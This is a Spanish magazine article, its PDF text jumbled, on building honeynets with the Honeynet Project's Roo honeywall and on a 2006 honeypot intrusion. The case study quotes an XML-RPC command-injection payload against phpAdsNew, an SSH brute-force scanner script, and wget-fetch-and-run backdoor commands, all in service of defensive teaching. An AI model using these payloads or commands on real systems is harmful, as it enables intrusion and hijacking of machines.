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U n honeypot es un sistema
ubicado en una red dirigido a
atraer ataques por Internet.

Visto desde fuera se parece a un
ordenador de producci—n ordinario
con diferentes vulnerabilidades: una
invitaci—n abierta a intrusos confia-
dos. Pero el cazador es cazado una
vez el atacante est‡ dentro. El honey-
pot monitorizado muy de cerca incor-
pora herramientas especiales que
registran los comandos ejecutados en
la m‡quina y capturan informaci—n
sobre el ataque.

El concepto de honeypot se ampl’a
en ocasiones a una red de honeypots,
conocida como honeynet. Si agrupa-
mos un cierto nœmero de honeypots
con diferentes sistemas operativos y
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vulnerabilidades, incrementaremos la
probabilidad de atraer a un atacante.
Al mismo tiempo, una configur aci—n
en la que el atacante explora las
conexiones de red entre los diferentes
sistemas host
proporciona
oportunidades
adicionales para
monitorizar el
ataque y descu-
brir informaci—n
acerca del
intruso. El ope-
rador de la
honeynet puede
usarla tambiŽn
con prop—sitos
de formaci—n,

adquiriendo una valiosa experiencia
con las estrategias de ataque y los
an‡lisis forenses sin tener que poner
en peligro los sistemas de produc-
ci—n.

Los administradores m‡s celosos con la seguridad pueden usar una honeynet para monitorizar , registrar y

analizar tŽcnicas de intrusi—n.
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Figur a 1: La honeynet de sde el punt o de vis t a del adminis tr ador.
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Figura 3). Como ejemplo, Walleye
representa informaci—n de Sebek
como gr‡ficos de procesos, ofreciendo
de esta manera al administrador una
visi—n general muy œtil de las activi-
dades del atacante. Walleye tambiŽn
exporta tr‡fico de red en formato
Pcap: podemos importar esta informa-
ci—n a otras herramientas de an‡lisis
como Wireshark. Por œltimo, Walleye
ofrece una interfaz para modificar la
configuraci—n de honeywall.

El Gr an Event o
Un intento de intrusi—n documentado
en 2006 ilustra el poder de un honey-
pot.

Un sistema Red Hat Linux 8 (de
alrededor de 2002) sin actualizaciones
estaba ejecutando un servidor Web
Apache con el software phpAds [7][8]
con vulnerabilidades. Una conocida
vulnerabilidad existente en el sistema
era la libr er’a PHP XML-RPC [9], que
permit’a al atacante ejecutar coman-
dos en el honeypot con los permisos
de la cuenta del servidor Web (esta
vulnerabilidad afecta a las versiones
de phpAdsNew hasta la 2.0.5).

En el momento del ataque, el
honeypot ten’a una dir ecci—n IP en el
rango 192.35.0.0/16. El log del honey-
wall muestra que el atacante usa cua-
tro sistemas para el ataque. Los orde-
nadores atacantes eran probable-

El proyecto Honeynet es una organi-
zaci—n de investigaci—n sin ‡nimo de
lucro que proporciona herramientas
para construir y administr ar honey-
nets. Dichas herramientas se han
dise–ado para la œltima generaci—n de
honeynets de alta interacci—n que
requieren dos redes separadas (vŽase
la Figura 1). Los honeypots residen en
la primera red, y en la segunda se ubi-
can las herramientas para administrar
la honeynet. Entre estas herramientas
(y de cara a Internet) se encuentra un
dispositivo conocido como honeywall.
El honeywall, que es en realidad una
especie de puerta de enlace, Òcaptura,
controla y analiza todo el tr‡fico de
entrada y salida a los honeypotsÓ.

El proyecto Honeynet proporciona
un sistema honeywall basado en CD
denominado Roo [1]. Las instruccio-
nes paso a paso para instalar el
honeywall Roo est‡n disponibles en la
p‡gina de Honeynet [2].

Herr amient as Roo
El sistema honeywall Roo usa la
herramienta a medida Snort Inline
[3], y conf’a en las r eglas Netfilter
para restringir las conexiones TCP
salientes. Roo incluye tambiŽn varias
herramientas para monitorizar la r ed
y registrar las actividades del ata-
cante, las cuales incluyen POF (Pas-
sive OS Fingerprint [4]), que analiza
el tr‡fico de red e intenta identificar el
sistema operativo en base a par‡me-
tros TCP/IP. Swatch (Simple Watcher
of logfiles [5]) inv estiga los archivos
de log del honeywall en busca de
eventos definidos mediante expresio-
nes regulares y env’a un correo al
administrador si encuentra alguna
actividad de red sospechosa. Por
œltimo, Sebek [6], el m—dulo central
(o el driv er Windows) reside en las
profundidades del sistema operativo y
registra todas las actividades del ata-
cante, como entrada de teclado u ope-
raciones sobre archivos (vŽase la
Figura 2).

Una interfaz de usuario basada en
navegador denominada Walleye actœa
como interfaz gr‡fica entre la infor-
maci—n guardada en el honeywall y su
operador. Adem‡s de mostrar infor-
maci—n del tr‡fico de red, Walleye
permite solicitar informaci—n sobre
honeypots individuales (vŽase la

mente sistemas no seguros que fueron
comprometidos antes del ataque.

Un an‡lisis pasivo de la red no per-
mite al software de identificaci—n POF
averiguar el sistema operativo de las
m‡quinas atacantes. Los par‡metros
de los paquetes de red son demasiado
genŽricos para determinar con preci-
si—n el sistema. El nombre de usuario
del atacante parec’a ser MethadoN ya
que m‡s tarde dej— una clave SSH de
su cuenta en el honeypot. Este nom-
bre era tambiŽn el del autor de varios
programas (vŽase el Listado 1) subi-
dos al honeypot por el atacante de la
red.

El ataque comienza el 7 de mayo
poco despuŽs de las 3pm. (vŽase la
Tabla 1). El atacante intenta en primer
lugar identificar alguna aplicaci—n
Web vulnerable en el honeypot. Para
ello, intenta abrir xmlrpc.php a travŽs
de diferentes URLs, a–adiendo par‡-
metros que, en caso de tener Žxito,
ejecutar‡n comandos en el objetivo.
Tras unos dos minutos, la URL coinci-
dente de phpAdsNew ha sido encon-
trada. Una petici—n POST,

<?xml version=\Ž1.0\Ž?> U

<methodCall> U

<methodName>test.method U

</methodName> U

<params><param><value> U

<name>•,• •)); U

01 #!/bin/bash

02 #

03 # by MethadoN

04 #

05

06 if [ $# != 1 ]; then

07 echo Ž usage: $0 <b class>Ž

08 exit;

09 fi

10

11 rm -rf scan.log

12 clear

13 rm -rf 0 1 2 3 4 5 gen- pass.sh

secur e screen scan

14 echo -e Ž\033[1;36m# -~-=-

BruTeSSH Scanner -=-~-# Ž

15 echo -e Ž# -~-=- Original by

#eNable Team -=-~-# Ž

16 echo -e Ž\033[1;37m# -~-=- Do

NOT share this shit

-=-~-#\033[1;31mŽ

17 sleep 1

18 ././pscan2 $1 22

19 echo -e Ž\033[1;36m# -~-=-

BRUTEFORCESTARTED

-=-~-#\033[0mŽ

20 echo -e Ž\033[1;36m# -~-=-

Gr33tz to MethadoN ;)

-=-~-#\033[0mŽ

21 echo -e Ž\033[1;36m# -~-=-

Users NO.1 -=-~-#\033[0mŽ

22 cp 0 pass.txt

23 ./sshd 100

24 sleep 5

25 echo -e Ž\033[1;36m# -~-=-

Users NO.2 -=-~-#\033[0mŽ

26 cp 1 pass.txt

27 ...

28 ./sshd 100

29 echo -e Ž\033[1;36m# -~-=-

Par ty Over, Try Again :-)

-=-~-#\033[0mŽ

Listado 1: Esc‡ner V ulnerabilidades Atacante



echo ,_begin_\n•;echo U

`uname -a`;echo U

,_end_•;exit;/* U

</name></value></param> U

</params></methodCall>

le proporciona la versi—n del kernel
del sistema operativo. La ejecuci—n
no autorizada de uname -a consti-
tutye un ataque exitoso. El intruso
puede ya ejecutar exploits espec’fi-
cos. A continuaci—n instala varios
scripts en el honeypot y tiene Žxito en
la escalada de privilegios hasta el root
mediante la ejecuci—n de un exploit
(8:51 pm). Esto le otorga  el control
total del sistema. Mediante el uso de
un exploit, instala v arios escaners
SSH, un esc‡ner que identifica vulne-
rabilidades en aplicaciones PHP y un
rootkit con una puerta tr asera. El
esc‡ner de vulnerabilidades le facilita
la instalaci—n de una puerta trasera
escrita en Perl y llamada ÒData ChaOS
Connect Back BackdoorÓ para facilitar
la interacci—n con el sistema compro-
metido.

En este momento, puede utilizar
una segunda puerta trasera desde el
rootkit SHv5 para loguearse en el sis-
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tema como root a
travŽs del puerto
1400 (vŽase la
Figura 4) sin
tener que ejecu-
tar un exploit
local. A pesar de
que la puerta tra-
sera est‡ insta-
lada en el puerto
1400, muchas de

las conexiones del atacante al sistema
usan el servicio SSH normal. De este
modo, la puerta trasera aparenta ser
una medida de contingencia que per-
mite al intruso acceder al sistema en
cualquier momento si el administr a-
dor bloquease el acceso SSH. Mientras
que funcionen las conexiones SSH
normales, no hay motiv o para usar la
puerta trasera.

Usa entonces SHv5 para remplazar
varios programas del sistema con ver-
siones manipuladas, para eliminar
cualquier pista. Por ejemplo, ls ya no
muestra los archivos de rootkit.
Debido a que muchos de los progra-
mas que ha instalado en el honeypot
estaban personalizados para Red Hat
Linux, par ece que el ataque estaba
bien planeado.

Final c on Sobresalt o
Durante un corto periodo de tiempo,
el intruso usa una p‡gina de phishing
para recabar nombres y contrase–as
de PayPal (9:49 pm). Es dif’cil saber
por quŽ hizo esto durante tan corto
periodo de tiempo. Utiliza el honey-
pot comprometido para lanzar varios
ataques tanto a la red local como a

equipos en Internet, lanz‡ndolos
mediante el protocolo http normal.
Este ataque es dif’cil de evitar, en el
sentido de que bloquear http en el
honeywall significa que el atacante no
ser’a capaz de subir ninguna herra-
mienta. El honeywall no bloquea las
conexiones SSH salientes para permi-
tirle que acceda al honeypot. Las
reglas de cortafuegos usan l’mites en
las tasas de transferencia para blo-
quear los ataques de denegaci—n de
servicio salientes. En la configuraci—n
por defecto, el honeywall s—lo permite
15 conexiones TCP salientes y 20
conexiones UDP por d’a. Esto evita
que el intruso sature una p‡gina Web
con el honeypot como estaci—n base
del ataque (d’a 2, 1:30pm). Se da
cuenta de esto y da la impresi—n de
que sospecha de algœn error con su
software UDP, como evidencia el
hecho de que vuelve a subir el soft-
ware UDP nuevamente desde un ori-
gen diferente.

Para secuestrar m‡s m‡quinas, eje-
cuta los comandos wget
208.25.xxx.xxx:443/bind.jpg, tar xzvf
bind.jpg, chmod a+x httpd y ./httpd
(d’a 3, 0:00 horas). El objetivo es ins-
talar una puerta trasera con los permi-
sos de la cuenta de servidor Web. En
menos de dos minutos, secuestra seis
ordenadores en Internet usando este
mŽtodo de introducci—n. En este
momento, los autores apagaron el
honeypot para evitar m‡s da–os e
informar a los administr adores afecta-
dos por el ataque.

Analiz ar las Pis t as
Con objeto de un an‡lisis, el adminis-
trador desconect— el ordenador
honeypot de la red y mont— los discos
duros comprometidos en una
m‡quina distinta. Este paso deshabi-
lita el r ootkit debido a que los progra-
mas de sistema del disco duro no se
usan.

Algunas medidas de precauci—n
mejoran los resultados del an‡lisis.
Los archivos de log registrados por el

Figur a 2: Sebek registr a las actividade s y capt ura las pulsacione s del

t eclado.

Figur a 4 : Un at acant e ha ins t alado est e rootkit SHv5 en el hone ypot tr as identificar vulner a-

bilidade s locale s al escanear el sis t ema.

Figur a 3: Walleye muest ra el tráfic o de red en la honeynet .





cante para poder iniciar las contrame-
didas tan pronto como sea posible.

La manipulaci—n del sistema de
archivos del honeypot comprometido
es evidente. Los mŽtodos forenses
permiten al administr ador restablecer
registros borrados y programas mal-
ware, revelando de esta manera c—mo
el atacante ha intentado cubrir sus
huellas en la m‡quina y los cambios
en el sistema de archivos. En este
caso, los archivos de log del esc‡ner

de vulnerabilidades de aplicaciones
Web finalmente revelan todas las
direcciones IP que ha intentado poner
a prueba desde el honeypot.

Proceda con Pr ecaución
Los estudios de intrusi—n que usan
honeypots tienen finalidad educacio-
nal y pueden ayudar a evitar ataques
similares. Sin embargo, los operado-
res del honeypot pueden estar infrin-
giendo la ley en ciertos casos. Tenga
en mente que un honeypot tiene
implicaciones legales para su opera-
dor. Los posibles problemas incluyen
complicidad, protecci—n de datos y
responsabilidades por cualquier da–o
causado desde el honeypot.

Por supuesto, asegœrese de atar en
corto la honeynet lo mejor que pueda
para evitar que alguna red sufra da–os
[10]. Operar un honeypot no es algo
que se deba hacer a la ligera. De
hecho, tendr‡ que monitorizar el sis-
tema constantemente para estar un
paso por delante de sus clandestinos
invitados. �

honeywall pueden no dar una fiel
representaci—n de las fuentes que el
atacante ha usado para subir software
al sistema. Por esta raz—n, es una
buena idea buscarlas en el propio
honeypot. Adicionalmente, el soft-
ware de monitorizaci—n puede ocul-
t‡rsele en el honeypot, pero si cifra la
red, puede perderse informaci—n. La
posibilidad de que el intruso tr abaje
de manera clandestina hace que sea
vital tr azar las actividades del ata-
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Hora Acci—n
7 de mayo de 2006
15:06:45 Conexi—n inicial del atacante al honeypot desde la direcci—n IP 

72.29.xxx.xxx (Florida). El atacante intenta varias URLs de vulnerabilida
des conocidas en aplicaciones PHP . Todas ellas apuntan al archivo 
xmlrpc.php .

15:08:12 El atacante ejecuta el comando uname -a a travŽs de la vulnerabilidad 
PHP y hace una petici—n POST en el honeypot.

20:50:40 El atacante sube el archivo s.txt al honeypot. El archivo contiene el script 
Perl ÒData ChaOS Connect Back BackdoorÓ que permite al intruso acce-
der al honeypot con la cuenta del servidor W eb.

20:51:01 El archivo root.tar .gz con un exploit para Red Hat Linux se sube al honey-
pot. 30 segundos m‡s tarde, el honeypot queda bajo control total de 
MethadoN, que explota la vulnerabilidad del kernel ptrace .

20:51:32 El rootkit en shv5.tar .gz sobrescribe diversos sistemas de archivo y abre 
una puerta trasera en el puerto 1400.

20:52:32 Un ordenador con una direcci—n IP 86.107.xxx.xxx (Rumania) se conecta 
a la puerta trasera por el puerto 1400.

21:38:23 Un ordenador con una direcci—n IP 81.181.xxx.xxx (tambiŽn Rumania) se 
conecta a la puerta trasera a travŽs del puerto 1400.

21:48:49 El atacante copia las claves SSH al honeypot.
21:49:26 El atacante usa SSH para loguearse desde un ordenador con una direc-

ci—n IP 81.181.xxx.xxx. En los siguientes minutos, el atacan instala una 
p‡gina de phishing PayPal en el servidor W eb del honeypot. A pesar de 
que la p‡gina funciona, el atacante la elimina momentos m‡s tarde.

8 de mayo de 2006
00:36:29 Aparece un archivo llamado ioi en el honeypot. Contiene varios escaners 

SSH que buscan m‡quinas con contrase–as dŽbiles.
00:37:47 El hacker ataca el servicio SSH en la red local 192.35.0.0/16 y en una red 

de EEUU con direcciones en el rango 66.250.0.0/16.
13:32:41 Ocurre un login desde una m‡quina con una direcci—n IP 81.181.xxx.xxx, 

seguido de una descarga del archivo udp.txt . Este script Perl intenta llevar 
a cabo un ataque por denegaci—n de servicio con el uso de paquetes UDP . 
El atacante ejecuta el script contra una empresa de hosting W eb.

23:16:53 Login a travŽs de la puerta trasera del rootkit en la m‡quina rumana con 
la direcci—n IP 81.181.xxx.xxx, seguidamente se realiza una descarga del 
archivo udp.pl . Este script es el mismo que se ha ejecutado hace un par 
de horas.

10 de mayo de 2006
23:27:16 El atacante descarga el archivo alexu.jpg a travŽs de la puerta trasera en 

el rootkit de la m‡quina con la direcci—n IP 86.107.xxx.xxx. Contiene otro 
esc‡ner SSH con una lista de contrase–as con m‡s de 12.000 entradas.

23:30:35 Ataque al servicio SSH de las m‡quinas en el rango de red 24.3.0.0/16 y 
66.98.0.0/16.

23:37:19 El atacante sube el archivo cola.tar al honeypot. Contiene un esc‡ner de 
aplicaciones PHP vulnerables.

11 de mayo de 2006
00:08:49 El obstinado atacante escanea ordenadores en otras redes en busca de 

aplicaciones PHP que son vulnerables al exploit XML-RPC. En menos de 
dos minutos, el atacante secuestra otras seis m‡quinas en Internet.

Tabla 1: Secuencia del Ataque

[1] Roo: https://projects.honeynet.org/
honeywall

[2] Proyecto Honeynet, ÒManual de
Usuario de Roo CDROMÓ: http://yum.
honeynet.org/roo/manual

[3] Snort Inline: http://snort-inline.
sourceforge.net

[4] POF (p0f): http://lcamtuf.coredump.
cx/p0f.shtml

[5] Swatch: http://sourceforge.net/
projects/swatch/

[6] Sebek: https://projects.honeynet.org/
sebek/

[7] Versi—n actual de phpAds: http://
sourceforge.net/projects/phpadsnew/

[8] Edward Balas y Camilo V iecco,
ÒTowards a Third Generation Data
Capture Architecture for HoneynetsÓ:
http://old.honeynet.org/papers/
individual/hflow . pdf

[9] Vulnerabilidad PHP XML-RPC: http://
cve.mitre.org/cgi-bin/cvename.
cgi?name=CAN-2005-2498

[10] Ryan Talabis, ÒA Primer on Honey-
net Data Control RequirementsÓ:
http://www .philippinehoneynet.org/
index.
php?option=com_docman&task=do
c_download& gid=7&Itemid=29
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